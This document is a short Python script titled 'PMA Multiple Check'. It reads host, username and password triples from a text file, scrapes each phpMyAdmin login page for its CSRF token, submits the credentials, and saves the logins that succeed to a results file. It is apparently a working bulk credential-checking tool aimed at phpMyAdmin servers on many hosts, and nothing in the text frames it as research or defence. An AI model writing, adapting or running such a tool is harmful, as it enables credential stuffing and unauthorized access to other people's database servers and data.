PMA Multiple Check
import requests
import re
ACCOUNTS_FILE = "accc.txt"
RESULT_FILE = "result.txt"
LOGIN_ROUTE = "index.php?route=/&route=%2F"
def parse_account_line(line):
"""
Parse a line from accc.txt file.
Format expected: host|username|password
"""
line = line.strip()
if not line:
return None, None, None
parts = line.split("|")
if len(parts) != 3:
return None, None, None
host, username, password = parts
return host.strip(), username.strip(), password.strip()
def get_token(session, url):
"""
Obtain the login form token from the login page.
"""
try:
r = session.get(url, timeout=10)
r.raise_for_status()
except Exception as e:
print(f"Error fetching login page for token at {url}: {e}")
return None
# Find token value in hidden input field
match = re.search(r'<input\s+type="hidden"\s+name="token"\s+value="([a-f0-9]+)"', r.text)
if match:
return match.group(1)
return ""
def is_login_successful(response):
"""
Determine if login was successful.
Check if the response URL contains the LOGIN_ROUTE string.
"""
return LOGIN_ROUTE in response.url
def main():
try:
with open(ACCOUNTS_FILE, "r", encoding="utf-8") as f:
accounts = f.readlines()
except FileNotFoundError:
print(f"Error: '{ACCOUNTS_FILE}' not found.")
return
successful_accounts = []
print(f"Starting login attempts for multiple hosts from: {ACCOUNTS_FILE}")
for line in accounts:
host, username, password = parse_account_line(line)
if not all([host, username, password]):
print(f"Skipping invalid line: {line.strip()}")
continue
pma_url = f"https://{host}/{LOGIN_ROUTE}"
session = requests.Session()
print(f"Trying host: '{host}' username: '{username}' password: '{password}' ...")
token = get_token(session, pma_url)
if token is None:
print(f"Failed to get login token for host {host}, skipping.")
continue
post_data = {
"pma_username": username,
"pma_password": password,
"server": "1",
"target": "index.php",
"lang": "en",
"token": token,
"collation_connection": "utf8_general_ci",
"submit": "Login"
}
try:
response = session.post(pma_url, data=post_data, timeout=15, allow_redirects=True)
response.raise_for_status()
except Exception as e:
print(f"Error during login POST to host {host}: {e}")
continue
if is_login_successful(response):
print(f"Success: {host}|{username}|{password}")
successful_accounts.append(f"{host}|{username}|{password}")
else:
print(f"Failed: {host}|{username}|{password}")
if successful_accounts:
with open(RESULT_FILE, "w", encoding="utf-8") as f:
for acc in successful_accounts:
f.write(acc + "\n")
print(f"Saved {len(successful_accounts)} successful account(s) to '{RESULT_FILE}'")
else:
print("No successful logins found.")
if __name__ == "__main__":
main()